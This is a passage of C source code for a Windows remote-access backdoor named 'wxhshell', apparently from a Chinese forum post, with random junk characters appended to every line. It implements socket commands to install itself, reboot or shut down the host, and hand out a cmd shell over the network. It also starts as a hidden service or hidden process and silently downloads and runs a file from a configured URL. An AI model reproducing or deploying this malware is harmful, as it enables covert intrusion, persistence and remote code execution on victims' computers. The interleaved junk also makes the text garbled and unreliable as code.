      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kR_[p._  
    break; l:[=M:#p  
  } {M$8V~8D  
  // 安装 < <xJ-N  
  case 'i': { fAm2ls7c  
    if(Install()) PQs9@]w[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C/$IF M<  
    else P6?Q;-\q0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l;C_A;y\  
    break; #*`|}_6L  
    } &KB{,:)?  
  // 卸载 :=8vy  
  case 'r': { = G_6D  
    if(Uninstall()) Yk5kC 0B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2,fB$5+  
    else 0'<S7?~|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qnlj~]NV  
    break; WV% KoM,%  
    } ~+g5?y  
  // 显示 wxhshell 所在路径 )Qc$UI8L  
  case 'p': {  e?7paJ  
    char svExeFile[MAX_PATH]; K XGs'D  
    strcpy(svExeFile,"\n\r"); g$tW9 Q  
      strcat(svExeFile,ExeFile); I@B7uFj  
        send(wsh,svExeFile,strlen(svExeFile),0); (o|E@d  
    break; ~DD/\V  
    }  96BMJE'  
  // 重启 w*}9;l  
  case 'b': { hG67%T'}A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B?M+`;  
    if(Boot(REBOOT)) +EB# #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7-dwr?j7  
    else { y{N9.H2  
    closesocket(wsh); Dz{e@+>M  
    ExitThread(0); P8jK yo  
    } :U 9R 1^}A  
    break; 3%} Ma,  
    } EI;\of2,  
  // 关机 1gE`_%?K  
  case 'd': { q2Kn3{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U,=K_oBAq  
    if(Boot(SHUTDOWN)) H07j&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (TE2t7ab|M  
    else { w.8~A,5}Dh  
    closesocket(wsh); nqBu C  
    ExitThread(0); cC4T3]4l'  
    } FMn&2fH  
    break; 7'|PHQ?S  
    } z)%1i  
  // 获取shell (yP55PC O$  
  case 's': { <}%ir,8  
    CmdShell(wsh); kslN_\   
    closesocket(wsh); QP#Wfk(C  
    ExitThread(0); a5-\=0L~  
    break; ]c)SVn$6  
  } Cu:Zn%  
  // 退出 Al|7Y/  
  case 'x': { -?W@-*J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0U>Q<I}  
    CloseIt(wsh); %\l,X{X  
    break; aW"!bAdx`,  
    } `y}d)"!  
  // 离开 />C~a]}  
  case 'q': { ]lUu%<-;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :j ~5(K"  
    closesocket(wsh); =FmU]DV  
    WSACleanup(); o!~bR  
    exit(1); -Q6pV<i  
    break; yr>bL"!CA  
        } 6<Z: Xw  
  } WM"^#=+$  
  } .jp]S4~  
Gq*)]X{U a  
  // 提示信息 W[Bu&?h$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0?SLRz8  
} QCR-lxO1  
  } BuTIJb+Q\  
0>iFXw:fn  
  return; ZRB 0OH  
} M N#C2 qz  
=[JN'|Q+  
// shell模块句柄 kA__*b}8UK  
int CmdShell(SOCKET sock) `fZD%o3l  
{ U*Qq5=dqD  
STARTUPINFO si; Nb~dw;t  
ZeroMemory(&si,sizeof(si)); +5[oY,^cO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <(4#4=ivP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @@83PJFid  
PROCESS_INFORMATION ProcessInfo; 6#M0AG  
char cmdline[]="cmd"; LUck>l\l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A Vm{#^p[(  
  return 0; Jwd&[ O  
} 5lnSa+_/f  
.dT;T%3fO  
// 自身启动模式 9T2A)a]0  
int StartFromService(void) {~fCqP.2  
{ #}dVaXY)  
typedef struct ]<gCq/V#  
{ hF"g 91P  
  DWORD ExitStatus; T:dm0iau  
  DWORD PebBaseAddress; PgLS\_B  
  DWORD AffinityMask; kLt9; <L  
  DWORD BasePriority; ShJK&70O  
  ULONG UniqueProcessId; DBJA}Cw  
  ULONG InheritedFromUniqueProcessId; M~Qj'VVL  
}   PROCESS_BASIC_INFORMATION; }b+QYSt  
>:E* 7  
PROCNTQSIP NtQueryInformationProcess; RR!!hY3 K  
d-;9L56{P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3;MjO*-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P5>5ps"iU  
tIb21c q  
  HANDLE             hProcess; ^YR|WKY  
  PROCESS_BASIC_INFORMATION pbi; yv)nW::D(  
R pI<]1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PKR $I  
  if(NULL == hInst ) return 0; zLQ#GF  
s S5fd)x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /J.\p/%\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z8/xGQn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ge):<k_  
OR\DTLIl  
  if (!NtQueryInformationProcess) return 0; 4r[pMJiq  
x}&a{;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0<@KDlF  
  if(!hProcess) return 0; 5m^Hi} S _  
a3UPbl3^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >u5g?yzw  
*SkiFEoD  
  CloseHandle(hProcess); ?#m<\]S<  
1Vf78n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zD2.Q%`IM  
if(hProcess==NULL) return 0; N pXgyD  
m0 j|58~  
HMODULE hMod; +Cf0Y2*@hM  
char procName[255]; cRh\USS  
unsigned long cbNeeded; x(9; !4O>  
.vN%UNu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5'X74`  
(@ fa~?v>@  
  CloseHandle(hProcess); VJN/#   
1t~FW-:  
if(strstr(procName,"services")) return 1; // 以服务启动 g={]Mzh  
hG3m7ht  
  return 0; // 注册表启动 G; C8Kde  
} K lli$40  
)C>}"#J>  
// 主模块 4YDT%_h0  
int StartWxhshell(LPSTR lpCmdLine) +_ *eu  
{ 9jO`gWxV8*  
  SOCKET wsl; s]y-pZ  
BOOL val=TRUE; VyecTU"W  
  int port=0; d&[iEU  
  struct sockaddr_in door; 894r;UA7  
\ fK47oV  
  if(wscfg.ws_autoins) Install(); W?qpnPW  
[x!i* rW3  
port=atoi(lpCmdLine); 5zNSEI"PY  
@s%X  
if(port<=0) port=wscfg.ws_port; EkJVFHfh  
EI1W .V>@  
  WSADATA data; ]}z'X!v_@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {ExII<=6  
t_jyyHxoZ:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :7p9t.R<$h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `d7gm;ykp  
  door.sin_family = AF_INET; o 'C~~Vg).  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PXw| L  
  door.sin_port = htons(port); EKZA5J7kn  
WD15pq l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6xH;: B)d  
closesocket(wsl); gtD   
return 1; \U/v;Ijf  
} TC qkm^xv  
tg~A}1o`0  
  if(listen(wsl,2) == INVALID_SOCKET) { gjW\ XY  
closesocket(wsl); 5;W\2yj  
return 1; Hm>-LOCcl  
} P}HC(S1  
  Wxhshell(wsl); 8r,9OM  
  WSACleanup(); bb|}'  
NW z9C=y  
return 0; :qxm !P  
jm+ V$YBP  
} kMM'[w  
9%sFJ  
// 以NT服务方式启动 WtIMvk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6\NvG,8  
{ ?RHn @$g8M  
DWORD   status = 0; ]k[x9,IU\y  
  DWORD   specificError = 0xfffffff; 6N"m?g*Z d  
F8;mYuA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /vHYM S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C 8N%X2R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8qn 9|  
  serviceStatus.dwWin32ExitCode     = 0; tl|ijR  
  serviceStatus.dwServiceSpecificExitCode = 0; 4S tjj!ew  
  serviceStatus.dwCheckPoint       = 0; ;_}~%-_ ~  
  serviceStatus.dwWaitHint       = 0; `19qq]  
iC\%_5/ _  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4sTMgBzw  
  if (hServiceStatusHandle==0) return; mjbTy"}"  
` M:DZNy,  
status = GetLastError(); @Tm`d ?^  
  if (status!=NO_ERROR) J,??x0GDx,  
{ bl=ku<}@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d PsLZ"I  
    serviceStatus.dwCheckPoint       = 0; FQ`(b3.   
    serviceStatus.dwWaitHint       = 0; )IHG6}<  
    serviceStatus.dwWin32ExitCode     = status; 2HD:JdL  
    serviceStatus.dwServiceSpecificExitCode = specificError; C8ZL*9U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5$kdgFq(  
    return; vB.l0!c\e_  
  } k)cP! %z  
=-w;z x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O5zE {#  
  serviceStatus.dwCheckPoint       = 0; eTT) P  
  serviceStatus.dwWaitHint       = 0; b]T@gJ4H=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !scD|ti  
} 8] `Ru5nd  
onwjn+"&  
// 处理NT服务事件,比如:启动、停止 {{\ce;hN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7tRi"\[5  
{ yI&9\fn  
switch(fdwControl) )qv2)a!H  
{ ];1R&:t  
case SERVICE_CONTROL_STOP: $#e1SS32  
  serviceStatus.dwWin32ExitCode = 0; -\4zwIH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Y2i*:<  
  serviceStatus.dwCheckPoint   = 0; _|A+ ) K  
  serviceStatus.dwWaitHint     = 0; LBat:7aH>  
  { ygzxCn|#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FQk!d$BG  
  } Xh F _]  
  return; BJk Z2=  
case SERVICE_CONTROL_PAUSE: `:p1&OS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uR$i48}  
  break; >&Y-u%}U  
case SERVICE_CONTROL_CONTINUE: 0J9D"3T)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1_hW#I\'  
  break; "hQgLG  
case SERVICE_CONTROL_INTERROGATE: Su7bm1  
  break; ((bTwx  
}; +.kfU)6@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K\u_Ji]k  
} Hr^3`@}#1  
,6{iT,~@8  
// 标准应用程序主函数 @kxel`,$e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wNYg$d0M  
{ ;j9\b9m  
|ZiC`Nt  
// 获取操作系统版本 iOCqE 5d3  
OsIsNt=GetOsVer(); SwW['c'*]B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R#W&ery  
t~hTp K*  
  // 从命令行安装 $n!K6fkX%  
  if(strpbrk(lpCmdLine,"iI")) Install(); KC#/Z2A|<  
[0y$! f4  
  // 下载执行文件 ba@ctkCW  
if(wscfg.ws_downexe) { ,|h)bg7.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [{ ~TcT  
  WinExec(wscfg.ws_filenam,SW_HIDE); \r {W  
} F_H82BE+3  
2=iH$v  
if(!OsIsNt) { bt$)Xu<R  
// 如果时win9x,隐藏进程并且设置为注册表启动 8gy_Yj&{P  
HideProc(); . (}1%22  
StartWxhshell(lpCmdLine); 2%u;$pj  
} ~xLJe`"JUx  
else Qk1xUE  
  if(StartFromService()) SUM4Di7  
  // 以服务方式启动 8|%^3O 0X  
  StartServiceCtrlDispatcher(DispatchTable); T~:|!`  
else om h{0jA0  
  // 普通方式启动 )#iq4@)|g  
  StartWxhshell(lpCmdLine); r^,<(pbd  
9DQa PA6  
return 0; \S~Vx!9w  
}
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只看该作者 1 发表于: 2006-10-10
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